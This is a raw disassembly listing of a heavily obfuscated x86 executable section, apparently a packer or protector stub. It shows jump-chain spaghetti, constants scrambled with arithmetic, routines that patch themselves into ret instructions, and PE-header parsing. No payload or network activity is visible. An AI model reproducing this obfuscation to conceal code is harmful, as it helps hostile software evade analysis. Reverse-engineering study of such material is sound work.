; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D736

loc_4532E8:				; CODE XREF: sub_44D736-95B5j
		movzx	edx, byte ptr [ecx+edx]
; END OF FUNCTION CHUNK	FOR sub_44D736
; START	OF FUNCTION CHUNK FOR sub_439013

loc_4532EC:				; CODE XREF: sub_439013:loc_454853j
		and	eax, edx
		jz	loc_450A90
		jmp	loc_447FB3
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A449

loc_4532F9:				; CODE XREF: sub_43A449:loc_454929j
		push	eax
		pop	ebp
		xchg	ebp, [esp+0]
		mov	edx, eax
		jmp	loc_441CB3
; END OF FUNCTION CHUNK	FOR sub_43A449
; ---------------------------------------------------------------------------
		sub	ebp, eax
		jmp	loc_43F4F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D0D

loc_45330C:				; CODE XREF: sub_440D0D:loc_4493E9j
		jz	loc_44CDA6
		jmp	loc_451B03
; END OF FUNCTION CHUNK	FOR sub_440D0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B17

loc_453317:				; CODE XREF: sub_441B17+Fj
		push	edi
		mov	edi, edx
		push	offset loc_442A03
		jmp	loc_440E55
; END OF FUNCTION CHUNK	FOR sub_441B17
; ---------------------------------------------------------------------------

loc_453324:				; CODE XREF: dviuq5id:0044E981j
		pop	edx
		push	esi
		pushf
		push	7F737AF7h

loc_45332C:				; CODE XREF: dviuq5id:00449E8Cj
		pop	esi
		or	esi, 7308F305h
		xor	esi, 1D8BD9Eh
		jmp	loc_45A5C2
; ---------------------------------------------------------------------------

loc_45333E:				; CODE XREF: dviuq5id:loc_458439j
		mov	edx, [ebp+8]
		mov	eax, [edx]
		add	edx, 4
		mov	edx, [edx]
		jmp	loc_43D35D
; ---------------------------------------------------------------------------

loc_45334D:				; CODE XREF: dviuq5id:00450025j
		xor	eax, 62B93202h
		add	eax, 2F7FDCBFh
		push	offset loc_44A2FD
		jmp	loc_43C7C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_453363:				; CODE XREF: sub_43C2DA+5C20j
		adc	ebx, 0FC5DD2C1h

loc_453369:				; CODE XREF: sub_43C2DA+6124j
		xor	edx, 0F7447832h
		rol	edx, 1Ah
		jb	loc_44D913
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_453378:				; CODE XREF: sub_446DD8+E11Bj
		jmp	loc_447823
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_45337D:				; CODE XREF: sub_4393C3+12CF3j
		jmp	loc_445EC8
; END OF FUNCTION CHUNK	FOR sub_4393C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FE62

loc_453382:				; CODE XREF: sub_44FE62-146E6j
		push	esi
		xchg	edi, ebp

loc_453385:				; CODE XREF: sub_452D9B:loc_458103j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4448FB
		jmp	loc_457DBE
; END OF FUNCTION CHUNK	FOR sub_44FE62
; ---------------------------------------------------------------------------
		mov	eax, [edx]
		jmp	loc_4584FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454142

loc_45339D:				; CODE XREF: sub_454142+12j
		jnz	loc_440687
		test	esi, ebx
		jmp	loc_451262
; END OF FUNCTION CHUNK	FOR sub_454142
; ---------------------------------------------------------------------------

loc_4533AA:				; CODE XREF: dviuq5id:0043A5F1j
		jnz	loc_43E6EE
		jmp	loc_44ADEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_4533B5:				; CODE XREF: dviuq5id:0043DC50j
					; sub_44EAC4+7989j
		shl	ebp, 8
		test	ebp, 51CEF7E8h
		jmp	loc_43FA3D
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------

loc_4533C3:				; CODE XREF: dviuq5id:0044A4DEj
		and	ebx, 4EE040E8h
		rol	ebx, 1Eh
		or	ebx, 168E962h
		and	ebx, 45C4DDA9h
		jmp	loc_442169
; ---------------------------------------------------------------------------
		ror	ecx, 0Bh
		xchg	edx, eax
		jmp	sub_43D160

; =============== S U B	R O U T	I N E =======================================



sub_4533E7	proc near		; CODE XREF: sub_448154:loc_43A647p
					; dviuq5id:0043F425j

; FUNCTION CHUNK AT 00441321 SIZE 00000007 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	edx
		mov	edx, eax
		xchg	edx, [esp+0]
		ror	eax, 17h
		jmp	loc_441321
sub_4533E7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B168

loc_4533F9:				; CODE XREF: sub_43B168+CF69j
		sub	ebx, 7E21C3FDh
		rol	ebx, 7
		xor	ebx, 150502AEh
		xor	eax, ebx
		xchg	eax, [esp+0]
		jmp	loc_43BBBE
; END OF FUNCTION CHUNK	FOR sub_43B168
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_453412:				; CODE XREF: sub_450217+9FC3j
		jz	loc_43A3F7
		jmp	loc_439559
; END OF FUNCTION CHUNK	FOR sub_450217
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_45341E:				; CODE XREF: sub_4422EC+13BD9j
		mov	edx, 95918C9Dh
		call	sub_449EB7
		push	eax
		ror	eax, 1Bh
		jmp	loc_45106F
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_453431:				; CODE XREF: sub_43FA59:loc_44982Bj
					; dviuq5id:loc_44F0FBj
		push	0DEA168C7h
		pop	eax
		add	eax, 748EF380h
		and	eax, 45695426h

loc_453443:				; CODE XREF: sub_439013+1C7AAj
		xor	eax, 0DD19DEBh
		jmp	loc_44942C
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_45344E:				; CODE XREF: dviuq5id:0043FD84j
		jnb	loc_44075A
		push	ebp
		jmp	sub_44CBA2

; =============== S U B	R O U T	I N E =======================================



sub_45345A	proc near		; CODE XREF: dviuq5id:00448319j
					; sub_441DDA+12DD5p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044359D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004440B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444363 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444FBD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445679 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044980A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044AFA4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044C504 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044E9D5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00451A26 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004534C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453950 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045973F SIZE 00000011 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	esi, 3FAD099Dh
		xor	eax, esi
		jmp	loc_451A26
sub_45345A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE53

loc_45346B:				; CODE XREF: sub_43EE53:loc_442F22j
		pop	ecx
		push	0C4A92AACh
		pop	eax
		rol	eax, 0Ch
		and	eax, 6052362Fh
		jmp	loc_44C095
; END OF FUNCTION CHUNK	FOR sub_43EE53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_453480:				; CODE XREF: sub_4477D7-89E5j
		push	offset sub_450159
		jmp	loc_44431E
; END OF FUNCTION CHUNK	FOR sub_4477D7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_346. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_45348B:				; CODE XREF: dviuq5id:0045310Bj
		jmp	sub_44F0C2
; ---------------------------------------------------------------------------

locret_453490:				; CODE XREF: dviuq5id:0045196Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B301

loc_453491:				; CODE XREF: sub_44B301-8EEj
		jnz	loc_441276
; END OF FUNCTION CHUNK	FOR sub_44B301
; START	OF FUNCTION CHUNK FOR sub_453F0A

loc_453497:				; CODE XREF: sub_453F0A+Aj
		jmp	loc_445C00
; END OF FUNCTION CHUNK	FOR sub_453F0A
; ---------------------------------------------------------------------------
		shr	edi, 7
		jmp	loc_441273
; ---------------------------------------------------------------------------

loc_4534A4:				; CODE XREF: dviuq5id:0044CDF6j
		jg	loc_441BE8

; =============== S U B	R O U T	I N E =======================================



sub_4534AA	proc near		; CODE XREF: sub_4529AE-D8CAp

; FUNCTION CHUNK AT 0043CB33 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004463F6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A404 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0045828E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045A268 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax

loc_4534AE:				; CODE XREF: sub_43CBD5:loc_45574Fj
		push	eax
		call	sub_43BAC4
		test	eax, eax
		jz	loc_43FA60
		jmp	loc_43CB33
sub_4534AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_4534C1:				; CODE XREF: sub_45345A-849Fj
		jnz	loc_445679

loc_4534C7:				; CODE XREF: sub_45169D-5082j
		jmp	loc_44E9D5
; END OF FUNCTION CHUNK	FOR sub_45345A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_4534CC:				; CODE XREF: sub_44460F-30EFj
		jmp	loc_441552
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D53C

loc_4534D1:				; CODE XREF: sub_43D53C+Bj
		jmp	loc_44EA65
; END OF FUNCTION CHUNK	FOR sub_43D53C
; ---------------------------------------------------------------------------
		sbb	ecx, edx
		jmp	loc_43ABE6
; ---------------------------------------------------------------------------
		push	ecx
		jmp	sub_44BC5E
; ---------------------------------------------------------------------------

locret_4534E3:				; CODE XREF: dviuq5id:loc_459EDBj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F10

loc_4534E4:				; CODE XREF: sub_441F10+14D22j
		jmp	nullsub_491
; END OF FUNCTION CHUNK	FOR sub_441F10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4584CA

loc_4534E9:				; CODE XREF: sub_4584CA-127E3j
		jmp	loc_44D68F
; END OF FUNCTION CHUNK	FOR sub_4584CA

; =============== S U B	R O U T	I N E =======================================



sub_4534EE	proc near		; DATA XREF: sub_451D52-375Do

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0045677D SIZE 00000005 BYTES

		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+4+var_4]
		mov	esp, ebp
		push	offset loc_444CBC
		jmp	loc_45677D
sub_4534EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE53

loc_453500:				; CODE XREF: sub_43EE53+Ej
		add	ecx, 7CA5CEFAh
		xor	ecx, 0E94377EDh
		add	ecx, ebp
		add	ecx, 8BE26D87h
		mov	[ecx], eax
		jmp	loc_442F22
; END OF FUNCTION CHUNK	FOR sub_43EE53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448213

loc_45351B:				; CODE XREF: sub_448213:loc_44934Aj
		xchg	edx, [esp+0]
		jmp	loc_440D75
; END OF FUNCTION CHUNK	FOR sub_448213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_453523:				; CODE XREF: sub_43BD2F+2j
					; sub_44297E-11C7j ...
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAD5

loc_453527:				; CODE XREF: sub_43EAD5+Fj
		jmp	loc_44C104
; END OF FUNCTION CHUNK	FOR sub_43EAD5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_45352C	proc near		; CODE XREF: sub_448213:loc_440D75j

; FUNCTION CHUNK AT 00456DDB SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_456DDB
sub_45352C	endp


; =============== S U B	R O U T	I N E =======================================



sub_453534	proc near		; CODE XREF: sub_4554F3j
					; DATA XREF: sub_456053-B6Ao
		mov	ds:dword_41D170, eax
		lea	eax, nullsub_190
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_190
sub_453534	endp


; =============== S U B	R O U T	I N E =======================================



sub_453548	proc near		; CODE XREF: sub_4055D9+2Bp
					; dviuq5id:00446087j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00440387 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00441CC5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044347C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044609C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00447D5A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044CABA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0045A3E8 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, ebx
		jmp	loc_441CC5
sub_453548	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_302. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_453551:				; DATA XREF: sub_450377-13650o
		lea	eax, sub_450377
		mov	byte ptr [eax],	0C3h
		jmp	sub_450377
; ---------------------------------------------------------------------------
		push	edi
		push	offset sub_4579D1
		jmp	loc_439C82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C8E3

loc_45356A:				; CODE XREF: sub_44C8E3:loc_44C8F2j
		jnz	loc_456F80
		jmp	loc_439FD8
; END OF FUNCTION CHUNK	FOR sub_44C8E3
; ---------------------------------------------------------------------------
		push	offset loc_44B1CA
		jmp	locret_4465BC
; ---------------------------------------------------------------------------
		mov	ebp, ebx
		jmp	sub_43BE30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_453586:				; CODE XREF: sub_448FC7:loc_452551j
		jnz	loc_44BC54
		jmp	loc_451799
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_453591:				; CODE XREF: sub_448424:loc_44967Dj
					; sub_448424+9FE1j
		call	nullsub_21

loc_453596:				; CODE XREF: dviuq5id:loc_4489A4j
		jnb	loc_43F1E1
		xor	eax, eax
		mov	[ebp-10h], eax
; END OF FUNCTION CHUNK	FOR sub_448424
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_4535A1:				; CODE XREF: sub_44646F:loc_43A89Bj
		cmp	dword ptr [ebp-4], 0
		jz	loc_43919C
		jmp	loc_448980
; END OF FUNCTION CHUNK	FOR sub_44646F

; =============== S U B	R O U T	I N E =======================================



sub_4535B0	proc near		; CODE XREF: sub_440599+Ap
					; dviuq5id:00445F7Cj
		xchg	edi, [esp+0]
		pop	edi
		mov	dword ptr [ebp-100h], 276E6143h
		mov	dword ptr [ebp-0FCh], 6F6C2074h
		mov	dword ptr [ebp-0F8h], 206461h
		push	offset loc_451891
		jmp	nullsub_174
sub_4535B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4535DC	proc near		; CODE XREF: sub_43D916+9j sub_451220p ...

; FUNCTION CHUNK AT 0043D924 SIZE 00000009 BYTES

		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		jz	loc_43D924
		mov	eax, [esp+0]
		push	edx
		push	edx
		jmp	loc_452D79
sub_4535DC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_4535F2:				; CODE XREF: sub_43C4B5:loc_43BFE3j
					; dviuq5id:0043BFFAj
		or	edx, 544BD1Eh
		push	edx
		mov	edx, offset loc_440960
		jmp	loc_448974
; END OF FUNCTION CHUNK	FOR sub_43C4B5

; =============== S U B	R O U T	I N E =======================================



sub_453603	proc near		; CODE XREF: dviuq5id:0044A308p
					; dviuq5id:0045033Fj
		xchg	esi, [esp+0]
		pop	esi
		lea	eax, nullsub_477
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_477
sub_453603	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_453615:				; CODE XREF: dviuq5id:0043BFC1j
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		jmp	loc_457C6A
; ---------------------------------------------------------------------------

loc_453620:				; CODE XREF: dviuq5id:0043F16Ej
		jnz	loc_4416ED

; =============== S U B	R O U T	I N E =======================================



sub_453626	proc near		; CODE XREF: sub_459983:loc_4529C3p
		xchg	esi, [esp+0]
		pop	esi
		push	1D246DB0h
		pop	eax
		jmp	loc_457826
sub_453626	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440638

loc_453635:				; CODE XREF: sub_440638:loc_443ABCj
		xchg	ebp, [esp-8+arg_4]
		mov	ecx, ebp
		pop	ebp
		pop	eax
		pop	ebp
		jmp	loc_4422A6
; END OF FUNCTION CHUNK	FOR sub_440638

; =============== S U B	R O U T	I N E =======================================



sub_453642	proc near		; CODE XREF: dviuq5id:004392FDp
					; dviuq5id:loc_439742j	...

; FUNCTION CHUNK AT 004419DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441E48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441FC2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004424FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443552 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B987 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455ECB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456685 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00457236 SIZE 0000002D BYTES

		jno	loc_441E48
		push	0A1F72E34h
		pop	edx
		jmp	loc_441FC2
sub_453642	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_453653:				; CODE XREF: dviuq5id:00440270j
		popf

; =============== S U B	R O U T	I N E =======================================



sub_453654	proc near		; CODE XREF: sub_441DDA+8F49p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00443D29 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00449078 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004527B4 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	edi, [esp+0]
		jmp	loc_443D29
sub_453654	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_453660:				; CODE XREF: sub_445F35-12Ej
		add	eax, 0FF6E248Fh
		mov	eax, [eax]
		movzx	eax, word ptr [eax+14h]
		add	eax, [ebp-4]
		add	eax, 18h
		jmp	loc_440724
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44395C

loc_453677:				; CODE XREF: sub_44395C+Bj
		pop	ecx
		mov	eax, [esp+0]
		push	edx
		push	eax
		push	6157D23Dh
		pop	eax
		add	eax, 8D775CE5h
		jmp	loc_444215
; END OF FUNCTION CHUNK	FOR sub_44395C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458D3

loc_45368E:				; CODE XREF: sub_4458D3:loc_4496B6j
		add	eax, 4
		mov	ebx, [eax]
		add	eax, 4
		mov	edi, [eax]
		add	eax, 4
		push	offset sub_449AC6
		jmp	nullsub_490
; END OF FUNCTION CHUNK	FOR sub_4458D3

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4536A5	proc near		; CODE XREF: sub_43AE92+13CCEj
		retn
sub_4536A5	endp

; ---------------------------------------------------------------------------

loc_4536A6:				; CODE XREF: dviuq5id:0044986Bj
		and	edx, 213CD81Eh

; =============== S U B	R O U T	I N E =======================================



sub_4536AC	proc near		; CODE XREF: sub_445498-337Fp

; FUNCTION CHUNK AT 0043B8F8 SIZE 00000003 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		sbb	eax, eax
		neg	eax
		jmp	loc_43B8F8
sub_4536AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_4536B9:				; CODE XREF: sub_45383B-73DBj
		push	81F18771h
		pop	eax
		or	eax, 7DBC5DE0h
		and	eax, ds:4000F4h
		test	eax, 8000000h
		jmp	loc_44881A
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F0F

loc_4536D6:				; CODE XREF: sub_444F0F-62D6j
		push	ecx
		mov	ecx, [esi]
		or	esi, 0D2CB0EEAh

loc_4536DF:				; CODE XREF: sub_444F0F-62E1j
		rol	edx, 18h

loc_4536E2:				; CODE XREF: dviuq5id:loc_454BD9j
		jmp	loc_447E0C
; END OF FUNCTION CHUNK	FOR sub_444F0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4536E7:				; CODE XREF: sub_439C09:loc_44E3DAj
		jnz	loc_44D5DB
		jmp	loc_4451C6
; END OF FUNCTION CHUNK	FOR sub_439C09

; =============== S U B	R O U T	I N E =======================================



sub_4536F2	proc near		; DATA XREF: dviuq5id:00444D42o
		xchg	edx, [esp+0]
		jmp	sub_442503
sub_4536F2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4584CA

loc_4536FA:				; CODE XREF: sub_4584CA:loc_44FC4Dj
		jz	loc_450D35
		jmp	loc_44F991
; END OF FUNCTION CHUNK	FOR sub_4584CA
; ---------------------------------------------------------------------------

loc_453705:				; DATA XREF: sub_44C8C5+Ao
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_453709:				; CODE XREF: dviuq5id:00451571j
		jmp	loc_43F692
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489F3

loc_45370E:				; CODE XREF: sub_4489F3:loc_456E75j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 4
		jmp	loc_441EE8
; END OF FUNCTION CHUNK	FOR sub_4489F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_45371A:				; CODE XREF: dviuq5id:loc_43B607j
					; sub_43FDFB+16F1j
		push	esi
		push	offset loc_446703
		jmp	nullsub_175
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_453725:				; CODE XREF: sub_43A160+900Ej
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_457190
		jmp	loc_4482B9
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_453734:				; CODE XREF: sub_44646F-4870j
		rol	eax, 0Ah

loc_453737:				; CODE XREF: sub_44646F:loc_4443C1j
		push	0E91726F7h
		pop	eax
		add	eax, 79596A3Dh
		jmp	loc_44FD5D
; END OF FUNCTION CHUNK	FOR sub_44646F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_353. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_453749	proc near		; CODE XREF: sub_4503F7+6p
					; sub_456751+752j ...

; FUNCTION CHUNK AT 00444B07 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044D07E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044DEE6 SIZE 00000005 BYTES

		jb	loc_444B07
		push	ebp
		mov	ebp, esp
		jmp	loc_44D07E
sub_453749	endp

; ---------------------------------------------------------------------------
		test	ebx, ebp
		jmp	loc_451697
; ---------------------------------------------------------------------------
		or	edi, 8D2C2F56h
		jmp	sub_43C162
; ---------------------------------------------------------------------------
		cmp	eax, ebp
		jmp	loc_43B988
; ---------------------------------------------------------------------------
		mov	ebx, 0C48195A5h
		jmp	sub_459970
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_45377A:				; CODE XREF: sub_446B53:loc_447CA4j
		pop	eax
		and	eax, 0B6D4CDC3h
		or	eax, 6BD8FE57h
		and	eax, 0D845C475h
		xor	eax, 0BF48462Bh
		test	eax, 4
		jmp	loc_458498
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
		mov	ds:dword_41D1B8, eax
		lea	eax, nullsub_305
		push	offset sub_4581F1
		jmp	loc_457F7E
; ---------------------------------------------------------------------------

loc_4537B4:				; CODE XREF: dviuq5id:0044CD3Aj
		push	offset sub_44F212
		jmp	loc_4492AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AE26

loc_4537BE:				; CODE XREF: sub_44AE26+342Aj
		jnz	sub_43E487
		jmp	loc_4520D0
; END OF FUNCTION CHUNK	FOR sub_44AE26
; ---------------------------------------------------------------------------
		mov	eax, 0CB39536Bh
		call	sub_453642
		mov	ds:off_41D08C, eax
		lea	eax, sub_441C84
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A6E5
; ---------------------------------------------------------------------------

loc_4537E7:				; DATA XREF: sub_440729-73C2o
		cmp	al, 0A4h
		jz	loc_44EA91
		jmp	loc_43EB7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_4537F4:				; CODE XREF: sub_44646F+B880j
		jz	loc_44D7DC
		jmp	loc_4420F1
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_4492EE
; ---------------------------------------------------------------------------

loc_453805:				; DATA XREF: dviuq5id:0043CF63o
		test	al, al
		jz	loc_441950
		jmp	loc_44483E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_453812:				; CODE XREF: sub_43FA59:loc_452033j
		push	offset loc_446582
		jmp	nullsub_178
; END OF FUNCTION CHUNK	FOR sub_43FA59

; =============== S U B	R O U T	I N E =======================================



sub_45381C	proc near		; DATA XREF: sub_44E2D4-352Bo
		add	eax, 8893E436h
		call	sub_4404D7
sub_45381C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4404A6

loc_453827:				; CODE XREF: sub_4404A6+17D83j
		jmp	loc_448A10
; END OF FUNCTION CHUNK	FOR sub_4404A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_45382C:				; CODE XREF: sub_45753F-A1EEj
		jmp	loc_4457C3
; END OF FUNCTION CHUNK	FOR sub_45753F
; ---------------------------------------------------------------------------

loc_453831:				; CODE XREF: dviuq5id:0044C063j
		jmp	loc_4427FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B70C

loc_453836:				; CODE XREF: sub_44B70C-9C3Cj
		jmp	loc_43B99E
; END OF FUNCTION CHUNK	FOR sub_44B70C

; =============== S U B	R O U T	I N E =======================================



sub_45383B	proc near		; DATA XREF: dviuq5id:0044F540o

var_8		= dword	ptr -8
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439597 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C706 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C757 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043E60B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441D59 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00447DDA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004483C9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044C451 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044D854 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E911 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00450AA1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00450E51 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0045123A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004536B9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00454CE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045595A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00457DC9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0045A4DA SIZE 0000000B BYTES

		mov	eax, [eax]
		push	ebx
		push	9EAA8958h
		pop	ebx
		jmp	loc_447DDA
sub_45383B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_453849:				; CODE XREF: dviuq5id:0045647Bj
		test	eax, 0A33F7726h
		jmp	loc_454687
; ---------------------------------------------------------------------------

loc_453854:				; CODE XREF: dviuq5id:004431F5j
		not	ebx
		jmp	loc_458C30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

